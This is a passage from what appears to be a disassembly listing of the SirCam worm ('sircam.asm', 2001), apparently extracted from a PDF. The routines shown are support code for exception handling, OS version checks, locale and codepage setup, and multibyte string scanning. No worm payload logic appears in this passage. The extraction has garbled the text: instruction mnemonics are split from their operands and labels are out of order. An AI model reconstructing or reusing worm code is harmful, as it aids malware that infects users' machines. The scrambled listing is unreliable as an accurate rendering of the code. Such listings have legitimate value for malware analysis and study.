eax edx ecx ecx fs:[eax], edx offset loc_409BD4 loc_409BBF: sub_409B0C 266 ; CODE XREF: CODE:00409BD2\031j lea eax, [ebp+var_8] mov edx, 2 call sub_4034EC retn endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409BCD: ; DATA XREF: sub_409B0C+A\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_409BBF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409BD4: ; DATA XREF: sub_409B0C+AE\030o pop pop pop retn ecx ecx ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_409BD8 sub_409BD8 proc near ; CODE XREF: sub_40B194+2C\031p mov eax, ds:dword_41E5F4 mov byte ptr [eax+0Ch], 1 mov eax, ds:dword_41E5F4 mov edx, [eax] call dword ptr [edx-8] xor eax, eax mov ds:dword_41E5F4, eax mov eax, ds:dword_41E5F8 mov byte ptr [eax+0Ch], 1 mov eax, ds:dword_41E5F8 call sub_402BDC xor eax, eax mov ds:dword_41E5F8, eax mov eax, ds:off_41DAE0 xor edx, edx mov [eax], edx mov eax, ds:off_41DB54 xor edx, edx mov [eax], edx mov eax, ds:off_41DB04 xor edx, edx mov [eax], edx mov eax, ds:off_41DB48 xor edx, edx mov [eax], edx mov eax, ds:off_41DB58 xor edx, edx mov [eax], edx mov eax, ds:off_41DBF0 xor edx, edx mov [eax], edx retn endp sircam.asm Fri Aug 10 12:42:44 2001 267 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_409C44 proc near var_94 var_90 var_8C var_88 var_84 var_80 = = = = = = dword ptr -94h dword ptr -90h dword ptr -8Ch dword ptr -88h dword ptr -84h byte ptr -80h add mov push call test jz mov mov mov mov mov mov mov mov mov lea mov call esp, 0FFFFFF6Ch [esp+94h+var_94], 94h esp j_GetVersionExA eax, eax short loc_409C92 eax, [esp+94h+var_84] ds:dword_41C0C0, eax eax, [esp+94h+var_90] ds:dword_41C0C4, eax eax, [esp+94h+var_8C] ds:dword_41C0C8, eax eax, [esp+94h+var_88] ds:dword_41C0CC, eax eax, offset unk_41C0D0 edx, [esp+94h+var_80] ecx, 80h sub_4036F8 add retn endp esp, 94h loc_409C92: sub_409C44 ; CODE XREF: sub_40B2D4+50\031p ; CODE XREF: sub_409C44+15\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_409C9C proc near ; CODE XREF: sub_409D14+1B\031p ; sub_409D38+B\031p push esi push edi mov edi, edx xor edx, edx test eax, eax jz short loc_409D0C cmp byte ptr [eax+edi], 0 jz short loc_409D0C test edi, edi jnz short loc_409CC4 mov al, [eax] and eax, 0FFh bt ds:dword_41C104, eax jnb short loc_409D0C mov dl, 1 jmp short loc_409D0C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409CC4: ; CODE XREF: sub_409C9C+12\030j mov esi, edi dec esi jmp short loc_409CCA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 loc_409CC9: 268 ; CODE XREF: sub_409C9C+42\031j dec esi test jl mov and bt jb ; CODE XREF: sub_409C9C+2B\030j esi, esi short loc_409CE0 cl, [eax+esi] ecx, 0FFh ds:dword_41C104, ecx short loc_409CC9 mov sub and jns dec or inc ecx, edi ecx, esi ecx, 80000001h short loc_409CF1 ecx ecx, 0FFFFFFFEh ecx loc_409CCA: loc_409CE0: ; CODE XREF: sub_409C9C+30\030j loc_409CF1: ; CODE XREF: sub_409C9C+4E\030j test ecx, ecx jnz short loc_409CF9 mov dl, 2 jmp short loc_409D0C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409CF9: mov and bt jnb mov ; CODE XREF: sub_409C9C+57\030j al, [eax+edi] eax, 0FFh ds:dword_41C104, eax short loc_409D0C dl, 1 loc_409D0C: sub_409C9C ; CODE XREF: sub_409C9C+8\030j ; sub_409C9C+E\030j ... mov pop pop retn endp eax, edx edi esi ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_409D14 proc near ; CODE XREF: sub_4072D4+37\030p push ebx push esi mov esi, edx mov ebx, eax xor eax, eax cmp byte ptr ds:dword_41E5B0, 0 jz short loc_409D34 mov eax, ebx call sub_4038E8 mov edx, esi dec edx call sub_409C9C loc_409D34: sub_409D14 ; CODE XREF: sub_409D14+F\030j pop pop retn endp esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 269 align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_409D38 proc near xor cmp jz call mov ecx, ecx byte ptr ds:dword_41E5B0, 0 short loc_409D4A sub_409C9C ecx, eax mov retn endp eax, ecx loc_409D4A: sub_409D38 ; CODE XREF: sub_407688+1B\030p ; sub_409F28+1C\031p ; CODE XREF: sub_409D38+9\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_409D50 proc near ; CODE XREF: sub_408234+E8\030p push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx call sub_403724 cmp esi, eax jle short loc_409D6A mov eax, ebx call sub_403724 mov esi, eax loc_409D6A: sub_409D50 ; CODE XREF: sub_409D50+F\030j mov mov call pop pop retn endp edx, esi eax, ebx sub_409D78 esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_409D78 proc near ; CODE XREF: sub_409D50+1E\030p push ebx push esi push edi mov ebx, edx mov edi, eax xor esi, esi test ebx, ebx jle short loc_409DC0 mov eax, edi call sub_403724 cmp ebx, eax jg short loc_409DC0 mov esi, ebx cmp byte ptr ds:dword_41E5B0, 0 jz short loc_409DC0 mov eax, 1 xor esi, esi sircam.asm Fri Aug 10 12:42:44 2001 cmp jl ebx, eax short loc_409DC0 mov and bt jnb inc ; CODE XREF: sub_409D78+46\031j dl, [edi+eax-1] edx, 0FFh ds:dword_41C104, edx short loc_409DBA eax inc inc cmp jge eax esi ebx, eax short loc_409DA6 loc_409DA6: loc_409DBA: ; CODE XREF: sub_409D78+3F\030j loc_409DC0: sub_409D78 270 ; CODE XREF: sub_409D78+B\030j ; sub_409D78+16\030j ... mov pop pop pop retn endp eax, esi edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_409DC8 proc near var_8 var_4 arg_0 = dword ptr -8 = dword ptr -4 = dword ptr 8 ; CODE XREF: sub_409E3C+35\031p ; sub_409EA0+38\031p push ebp mov ebp, esp add esp, 0FFFFFFF8h push esi push edi mov [ebp+var_8], ecx mov [ebp+var_4], edx mov esi, eax mov eax, esi call sub_403724 mov edi, eax mov edx, 1 mov eax, 1 jmp short loc_409E03 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409DED: inc mov and bt jnb inc ; CODE XREF: sub_409DC8+42\031j edx cl, [esi+eax-1] ecx, 0FFh ds:dword_41C104, ecx short loc_409E02 eax inc eax cmp jle cmp edi, eax short loc_409E0C edx, [ebp+var_4] loc_409E02: ; CODE XREF: sub_409DC8+37\030j loc_409E03: ; CODE XREF: sub_409DC8+23\030j sircam.asm Fri Aug 10 12:42:44 2001 jl short loc_409DED cmp jnz cmp jle mov and bt jnb inc ; CODE XREF: sub_409DC8+3D\030j edx, [ebp+var_4] short loc_409E29 edi, eax short loc_409E29 cl, [esi+eax-1] ecx, 0FFh ds:dword_41C104, ecx short loc_409E29 eax loc_409E0C: loc_409E29: sub_409DC8 271 ; CODE XREF: sub_409DC8+47\030j ; sub_409DC8+4B\030j ... mov mov mov mov pop pop pop pop pop retn endp ecx, [ebp+var_8] [ecx], edx edx, [ebp+arg_0] [edx], eax edi esi ecx ecx ebp 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_409E3C proc near var_8 var_4 = dword ptr -8 = dword ptr -4 push push add mov mov xor mov test jle mov call cmp jg cmp jle cmp jz push lea mov dec mov call dec cmp jg mov call cmp jg loc_409E89: ; CODE XREF: sub_408234+F9\030p ebx esi esp, 0FFFFFFF8h ebx, edx esi, eax eax, eax [esp+8+var_8], eax ebx, ebx short loc_409E98 eax, esi sub_403724 ebx, eax short loc_409E98 ebx, 1 short loc_409E95 byte ptr ds:dword_41E5B0, 0 short loc_409E95 esp ecx, [esp+0Ch+var_4] edx, ebx edx eax, esi sub_409DC8 ebx ebx, [esp+8+var_4] short loc_409E89 eax, esi sub_403724 eax, [esp+8+var_8] short loc_409E90 ; CODE XREF: sub_409E3C+3F\030j sircam.asm Fri Aug 10 12:42:44 2001 272 xor eax, eax mov [esp+8+var_8], eax jmp short loc_409E98 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409E90: ; CODE XREF: sub_409E3C+4B\030j inc [esp+8+var_8] jmp short loc_409E98 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409E95: mov loc_409E98: sub_409E3C mov pop pop pop pop retn endp ; CODE XREF: sub_409E3C+20\030j ; sub_409E3C+29\030j [esp+8+var_8], ebx ; CODE XREF: sub_409E3C+10\030j ; sub_409E3C+1B\030j ... eax, [esp+8+var_8] ecx edx esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_409EA0 proc near var_8 var_4 = dword ptr -8 = byte ptr -4 push push add mov mov xor mov test jle mov call cmp jle mov call mov ; CODE XREF: sub_408234+BE\030p ; sub_408234+121\030p ebx esi esp, 0FFFFFFF8h ebx, edx esi, eax eax, eax [esp+8+var_8], eax ebx, ebx short loc_409EF8 eax, esi sub_403724 ebx, eax short loc_409EC6 eax, esi sub_403724 ebx, eax loc_409EC6: ; CODE XREF: sub_409EA0+1B\030j cmp byte ptr ds:dword_41E5B0, 0 jz short loc_409EF5 push esp lea ecx, [esp+0Ch+var_4] mov edx, ebx mov eax, esi call sub_409DC8 mov eax, esi call sub_403724 cmp eax, [esp+8+var_8] jge short loc_409EF8 mov eax, esi call sub_403724 mov [esp+8+var_8], eax jmp short loc_409EF8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409EF5: ; CODE XREF: sub_409EA0+2D\030j sircam.asm Fri Aug 10 12:42:44 2001 mov loc_409EF8: sub_409EA0 mov pop pop pop pop retn endp 273 [esp+8+var_8], ebx ; CODE XREF: sub_409EA0+10\030j ; sub_409EA0+47\030j ... eax, [esp+8+var_8] ecx edx esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_409F00 proc near ; CODE XREF: CODE:004092CE\030p push ebx push esi mov ebx, edx mov edx, ebx call sub_409F28 mov esi, eax test bl, bl jz short loc_409F23 test eax, eax jz short loc_409F23 loc_409F15: ; CODE XREF: sub_409F00+21\031j mov inc mov call test jnz esi, eax eax edx, ebx sub_409F28 eax, eax short loc_409F15 loc_409F23: sub_409F00 ; CODE XREF: sub_409F00+F\030j ; sub_409F00+13\030j mov pop pop retn endp eax, esi esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_409F28 proc near push push push mov mov mov mov call mov test jz ebx esi edi ebx, edx esi, eax edx, ebx eax, esi sub_407628 edi, eax edi, edi short loc_409F62 mov sub mov call sub jb jz edx, edi edx, esi eax, esi sub_409D38 al, 1 short loc_409F62 short loc_409F51 ; CODE XREF: sub_409F00+6\030p ; sub_409F00+1A\030p loc_409F3E: ; CODE XREF: sub_409F28+38\031j sircam.asm Fri Aug 10 12:42:44 2001 274 jmp short loc_409F52 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409F51: ; CODE XREF: sub_409F28+25\030j inc edi inc mov mov call mov test jnz edi edx, ebx eax, edi sub_407628 edi, eax edi, edi short loc_409F3E loc_409F52: ; CODE XREF: sub_409F28+27\030j loc_409F62: sub_409F28 ; CODE XREF: sub_409F28+14\030j ; sub_409F28+23\030j mov pop pop pop retn endp eax, edi edi esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_409F68 proc near var_18 var_14 = byte ptr -18h = byte ptr -14h ; CODE XREF: sub_40A020+1E\031p push push push push add mov lea mov mov mov mov call test jz mov ebx esi edi ebp esp, 0FFFFFFE8h edi, offset dword_41C104 ebp, [esp+18h+var_14] esi, offset unk_41E5A8 dword ptr [esi], 409h word ptr [esi+4], 9 word ptr [esi+6], 1 j_GetThreadLocale_0 eax, eax short loc_409F9A [esi], eax test jz mov and mov movzx shr mov ax, ax short loc_409FB4 edx, eax dx, 3FFh [esi+4], dx eax, ax eax, 0Ah [esi+6], ax push call test setnz mov push call test setnz mov ; CODE XREF: sub_409F68+35\030j 4Ah j_GetSystemMetrics eax, eax al [esi+9], al 2Ah j_GetSystemMetrics eax, eax bl [esi+8], bl loc_409F9A: ; CODE XREF: sub_409F68+2E\030j loc_409FB4: sircam.asm Fri Aug 10 12:42:44 2001 275 test bl, bl jz short loc_40A016 push ebp push 0 call j_GetCPInfo xor esi, esi jmp short loc_40A007 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409FE2: mov mov sub jb inc mov ; CODE XREF: sub_409F68+AC\031j al, [ebp+esi+6] bl, [ebp+esi+7] bl, al short loc_40A004 ebx [esp+18h+var_18], al mov and bts inc dec jnz ; CODE XREF: sub_409F68+9A\031j al, [esp+18h+var_18] eax, 0FFh [edi], eax [esp+18h+var_18] bl short loc_409FF2 add esi, 2 cmp jge mov or jnz esi, 0Ch short loc_40A016 al, [ebp+esi+6] al, [ebp+esi+7] short loc_409FE2 loc_409FF2: loc_40A004: ; CODE XREF: sub_409F68+84\030j loc_40A007: ; CODE XREF: sub_409F68+78\030j loc_40A016: sub_409F68 ; CODE XREF: sub_409F68+6C\030j ; sub_409F68+A2\030j add pop pop pop pop retn endp esp, 18h ebp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40A020 proc near var_40 var_3C var_38 var_34 var_30 var_2C var_28 var_24 var_20 var_1C var_18 var_14 var_10 var_C var_8 var_4 = = = = = = = = = = = = = = = = dword dword dword dword dword dword dword dword dword dword dword dword dword dword dword dword ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ; CODE XREF: sub_40B2D4+4B\031p -40h -3Ch -38h -34h -30h -2Ch -28h -24h -20h -1Ch -18h -14h -10h -0Ch -8 -4 sircam.asm Fri Aug 10 12:42:44 2001 276 push mov mov ebp ebp, esp ecx, 8 push push dec jnz push xor push push push mov call call cmp jz call ; CODE XREF: sub_40A020+D\031j 0 0 ecx short loc_40A028 ebx eax, eax ebp offset loc_40A2EB dword ptr fs:[eax] fs:[eax], esp sub_409F68 sub_408D9C byte ptr ds:dword_41E5B0, 0 short loc_40A056 sub_408F74 call mov lea push xor mov mov call mov mov call lea push mov mov mov call mov xor call mov lea push mov mov mov call mov xor call mov mov mov mov call mov mov mov mov call mov lea push mov mov mov call ; CODE XREF: sub_40A020+2F\030j j_GetThreadLocale_0 ebx, eax eax, [ebp+var_10] eax ecx, ecx edx, 14h eax, ebx sub_408CEC edx, [ebp+var_10] eax, offset dword_41E4E8 sub_40351C eax, [ebp+var_14] eax ecx, offset dword_40A300 edx, 1Bh eax, ebx sub_408CEC eax, [ebp+var_14] edx, edx sub_407058 ds:byte_41E4EC, al eax, [ebp+var_18] eax ecx, offset dword_40A300 edx, 1Ch eax, ebx sub_408CEC eax, [ebp+var_18] edx, edx sub_407058 ds:byte_41E4ED, al cl, 2Ch edx, 0Fh eax, ebx sub_408D38 ds:byte_41E4EE, al cl, 2Eh edx, 0Eh eax, ebx sub_408D38 ds:byte_41E4EF, al eax, [ebp+var_1C] eax ecx, offset dword_40A300 edx, 19h eax, ebx sub_408CEC loc_40A028: loc_40A056: sircam.asm Fri Aug 10 12:42:44 2001 mov xor call mov mov mov mov call mov lea push mov mov mov call mov lea call mov mov call lea push mov mov mov call mov lea call mov mov call mov mov mov call mov lea push mov mov mov call mov mov call lea push mov mov mov call mov mov call lea call lea call lea push mov mov mov call mov xor call test eax, [ebp+var_1C] edx, edx sub_407058 ds:byte_41E4F0, al cl, 2Fh edx, 1Dh eax, ebx sub_408D38 ds:byte_41E4F1, al eax, [ebp+var_24] eax ecx, offset dword_40A30C edx, 1Fh eax, ebx sub_408CEC eax, [ebp+var_24] edx, [ebp+var_20] sub_409024 edx, [ebp+var_20] eax, offset dword_41E4F4 sub_40351C eax, [ebp+var_2C] eax ecx, offset dword_40A31C edx, 20h eax, ebx sub_408CEC eax, [ebp+var_2C] edx, [ebp+var_28] sub_409024 edx, [ebp+var_28] eax, offset dword_41E4F8 sub_40351C cl, 3Ah edx, 1Eh eax, ebx sub_408D38 ds:byte_41E4FC, al eax, [ebp+var_30] eax ecx, offset dword_40A334 edx, 28h eax, ebx sub_408CEC edx, [ebp+var_30] eax, offset dword_41E500 sub_40351C eax, [ebp+var_34] eax ecx, offset dword_40A340 edx, 29h eax, ebx sub_408CEC edx, [ebp+var_34] eax, offset dword_41E504 sub_40351C eax, [ebp+var_8] sub_4034C8 eax, [ebp+var_C] sub_4034C8 eax, [ebp+var_38] eax ecx, offset dword_40A300 edx, 25h eax, ebx sub_408CEC eax, [ebp+var_38] edx, edx sub_407058 eax, eax 277 sircam.asm Fri Aug 10 12:42:44 2001 278 jnz short loc_40A214 lea eax, [ebp+var_4] mov edx, offset dword_40A34C call sub_403560 jmp short loc_40A221 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40A214: lea mov call ; CODE XREF: sub_40A020+1E3\030j eax, [ebp+var_4] edx, offset dword_40A358 sub_403560 loc_40A221: ; CODE XREF: sub_40A020+1F2\030j lea eax, [ebp+var_3C] push eax mov ecx, offset dword_40A300 mov edx, 23h mov eax, ebx call sub_408CEC mov eax, [ebp+var_3C] xor edx, edx call sub_407058 test eax, eax jnz short loc_40A283 lea eax, [ebp+var_40] push eax mov ecx, offset dword_40A300 mov edx, 1005h mov eax, ebx call sub_408CEC mov eax, [ebp+var_40] xor edx, edx call sub_407058 test eax, eax jnz short loc_40A276 lea eax, [ebp+var_C] mov edx, offset dword_40A364 call sub_403560 jmp short loc_40A283 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40A276: lea mov call loc_40A283: ; CODE XREF: sub_40A020+245\030j eax, [ebp+var_8] edx, offset dword_40A374 sub_403560 ; CODE XREF: sub_40A020+222\030j ; sub_40A020+254\030j push push push push mov mov call push push push push mov mov call mov mov mov call mov xor pop pop [ebp+var_8] [ebp+var_4] offset dword_40A384 [ebp+var_C] eax, offset dword_41E508 edx, 4 sub_4037E4 [ebp+var_8] [ebp+var_4] offset dword_40A390 [ebp+var_C] eax, offset dword_41E50C edx, 4 sub_4037E4 cl, 2Ch edx, 0Ch eax, ebx sub_408D38 ds:byte_41E5EC, al eax, eax edx ecx sircam.asm Fri Aug 10 12:42:44 2001 pop mov push loc_40A2DD: sub_40A020 279 ecx fs:[eax], edx offset loc_40A2F2 ; CODE XREF: CODE:0040A2F0\031j lea eax, [ebp+var_40] mov edx, 10h call sub_4034EC retn endp ; sp = -34h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40A2EB: ; DATA XREF: sub_40A020+13\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40A2DD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40A2F2: ; DATA XREF: sub_40A020+2B8\030o pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_40A300 dd 30h, 0FFFFFFFFh, 6 ; DATA XREF: sub_40A020+60\030o ; sub_40A020+84\030o ... dword_40A30C dd 2F642F6Dh, 7979h, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_40A020+105\030o dword_40A31C dd 6D6D6D6Dh, 202C6420h, 79797979h, 0, 0FFFFFFFFh, 2 ; DATA XREF: sub_40A020+132\030o dword_40A334 dd 6D61h, 0FFFFFFFFh, 2 ; DATA XREF: sub_40A020+172\030o dword_40A340 dd 